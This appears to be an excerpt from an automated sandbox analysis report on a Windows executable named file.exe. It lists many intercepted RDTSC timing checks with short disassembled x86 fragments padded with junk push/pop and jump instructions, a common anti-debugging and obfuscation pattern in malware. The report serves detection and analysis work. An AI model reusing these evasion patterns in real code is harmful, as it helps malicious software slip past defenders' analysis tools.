Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14092DC second address: 14092EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F6AC4F647E6h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14092EF second address: 140930E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F6AC4F69481h 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140930E second address: 1409314 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1409314 second address: 1409319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394431 second address: 139445A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e js 00007F6AC4F647F8h 0x00000014 jmp 00007F6AC4F647F2h 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FAFA second address: 140FB00 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FB00 second address: 140FB12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AC4F647ECh 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FC97 second address: 140FC9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FE1B second address: 140FE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FF50 second address: 140FF54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FF54 second address: 140FF7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007F6AC4F647F1h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FF7A second address: 140FF82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140FF82 second address: 140FF8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14100FE second address: 1410103 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410103 second address: 1410109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413214 second address: 141321A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141321A second address: 1413237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AC4F647F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413237 second address: 1413241 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6AC4F69476h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14149CC second address: 14149DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F6AC4F647EAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14149DC second address: 1414A2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F6947Fh 0x00000007 jmp 00007F6AC4F69485h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jl 00007F6AC4F6948Dh 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F6AC4F69485h 0x0000001b popad 0x0000001c je 00007F6AC4F69484h 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141A64B second address: 141A66F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6AC4F647E6h 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6AC4F647F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141A66F second address: 141A68F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F6AC4F69487h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419231 second address: 1419247 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14193AA second address: 14193AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14193AE second address: 14193B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14196D0 second address: 14196D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14196D6 second address: 14196DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14196DC second address: 14196F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6AC4F69487h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141980D second address: 1419813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419994 second address: 14199AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F6AC4F6947Ah 0x0000000b jo 00007F6AC4F69482h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14199AB second address: 14199B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14199B1 second address: 14199BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F6AC4F69476h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14199BF second address: 14199CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F6AC4F647E6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14199CF second address: 14199D5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14199D5 second address: 14199E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419B52 second address: 1419B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419B56 second address: 1419B60 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6AC4F647ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424098 second address: 142409C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142409C second address: 14240A2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14244F5 second address: 1424502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 jl 00007F6AC4F69476h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424502 second address: 1424507 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423AE0 second address: 1423AE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423AE6 second address: 1423AFA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6AC4F647ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423AFA second address: 1423B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6AC4F69484h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142480F second address: 1424813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424950 second address: 1424976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d pop ecx 0x0000000e push esi 0x0000000f jmp 00007F6AC4F69484h 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424ADB second address: 1424ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424ADF second address: 1424AE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424AE3 second address: 1424AE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424AE9 second address: 1424AEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424AEF second address: 1424AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424AF3 second address: 1424AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424DD2 second address: 1424DDC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6AC4F647ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424DDC second address: 1424DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424DE6 second address: 1424DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424DEA second address: 1424DEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14298B8 second address: 14298DD instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6AC4F647E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jc 00007F6AC4F647E6h 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 pop edx 0x00000017 je 00007F6AC4F647F2h 0x0000001d js 00007F6AC4F647ECh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14286DE second address: 14286FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AC4F69481h 0x00000009 pop eax 0x0000000a jo 00007F6AC4F6948Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D867F second address: 13C0EB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f pop eax 0x00000010 nop 0x00000011 or ecx, dword ptr [ebp+122D2BFCh] 0x00000017 lea eax, dword ptr [ebp+1247C430h] 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F6AC4F647E8h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 0000001Dh 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 push eax 0x00000038 jns 00007F6AC4F647FEh 0x0000003e mov dword ptr [esp], eax 0x00000041 and dx, 5AA4h 0x00000046 mov edx, dword ptr [ebp+122D2420h] 0x0000004c call dword ptr [ebp+122D2CC1h] 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 pop eax 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8BAC second address: 13D8BBA instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6AC4F69476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8C31 second address: 13D8C37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8C37 second address: 13D8C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8C3B second address: 13D8C52 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6AC4F647E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F6AC4F647E8h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8D14 second address: 13D8D18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D8F85 second address: 13D8F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D9133 second address: 13D9151 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69484h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D9151 second address: 13D9156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D949B second address: 13D94FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F6AC4F6947Ch 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 jp 00007F6AC4F6947Bh 0x00000016 push 0000001Eh 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F6AC4F69478h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 0000001Ah 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 sub ecx, 20D3FC32h 0x00000038 push eax 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F6AC4F69481h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D94FB second address: 13D94FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D9875 second address: 13D9879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D9879 second address: 13D988A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F6AC4F647E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D988A second address: 13D988E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D988E second address: 13D98E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F6AC4F647F5h 0x0000000c jmp 00007F6AC4F647EFh 0x00000011 popad 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F6AC4F647E8h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d sub dword ptr [ebp+1245F273h], edi 0x00000033 lea eax, dword ptr [ebp+1247C474h] 0x00000039 xor dword ptr [ebp+122D1B74h], esi 0x0000003f nop 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 pushad 0x00000044 popad 0x00000045 pop eax 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D98E1 second address: 13D98F3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6AC4F69478h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D98F3 second address: 13D98F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D98F8 second address: 13C1A1A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov cl, 91h 0x0000000b lea eax, dword ptr [ebp+1247C430h] 0x00000011 jmp 00007F6AC4F69481h 0x00000016 nop 0x00000017 push edi 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e pop edi 0x0000001f push eax 0x00000020 ja 00007F6AC4F6948Bh 0x00000026 nop 0x00000027 mov dx, 96CEh 0x0000002b call dword ptr [ebp+122D215Ch] 0x00000031 push eax 0x00000032 push edx 0x00000033 jl 00007F6AC4F69483h 0x00000039 jmp 00007F6AC4F6947Bh 0x0000003e push eax 0x0000003f pop eax 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428A04 second address: 1428A10 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6AC4F647E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D992E second address: 13C1A1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F6947Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dx, 96CEh 0x0000000e call dword ptr [ebp+122D215Ch] 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007F6AC4F69483h 0x0000001c jmp 00007F6AC4F6947Bh 0x00000021 push eax 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428D1B second address: 1428D33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F3h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428D33 second address: 1428D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007F6AC4F69487h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop ecx 0x00000014 pushad 0x00000015 jmp 00007F6AC4F69484h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428D70 second address: 1428D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AC4F647EFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428D84 second address: 1428D89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1429092 second address: 142909F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F6AC4F647E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14291BF second address: 14291C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14291C3 second address: 14291CF instructions: 0x00000000 rdtsc 0x00000002 je 00007F6AC4F647E6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14291CF second address: 1429201 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jl 00007F6AC4F69476h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007F6AC4F69481h 0x00000015 jnp 00007F6AC4F69476h 0x0000001b jl 00007F6AC4F69476h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1429201 second address: 1429205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1429205 second address: 1429212 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14294F3 second address: 1429500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F6AC4F647F2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1429500 second address: 1429506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142B979 second address: 142B97E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142B97E second address: 142B984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
